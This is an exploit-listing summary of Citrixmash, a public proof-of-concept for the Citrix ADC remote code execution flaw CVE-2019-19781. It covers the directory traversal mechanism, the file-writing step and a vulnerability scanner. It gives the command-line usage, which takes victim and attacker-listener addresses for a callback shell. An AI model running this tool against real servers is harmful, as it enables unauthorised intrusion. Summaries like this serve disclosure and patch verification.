## https://sploitus.com/exploit?id=AFF66BA9-3826-5677-9A4F-0E6C4C00D66F
This is a PoC exploit for CVE-2019-19781, a vulnerability in Citrix ADC (NetScaler) that allows for unauthenticated remote code execution. The tool, called Citrixmash, was published by TrustedSec due to other researchers releasing their code first. The exploit exploits a directory traversal bug in Citrix ADC, which allows an attacker to write files to the victim machine, ultimately leading to remote code execution. The tool generates a random string for the filename and uses a Perl script (newbm.pl) to append files in an XML format to the victim machine. The usage of the tool is as follows: python citrixmash.py <victimaddress> <victimport> <attackerip_listener> <attacker_port>. The tool also includes a scanner to check if the server is still vulnerable to CVE-2019-19781. The scanner uses ASN listings to enumerate whois information for scanning and can be run using python3 cve-2019-19781.py <serverip> <serverport>.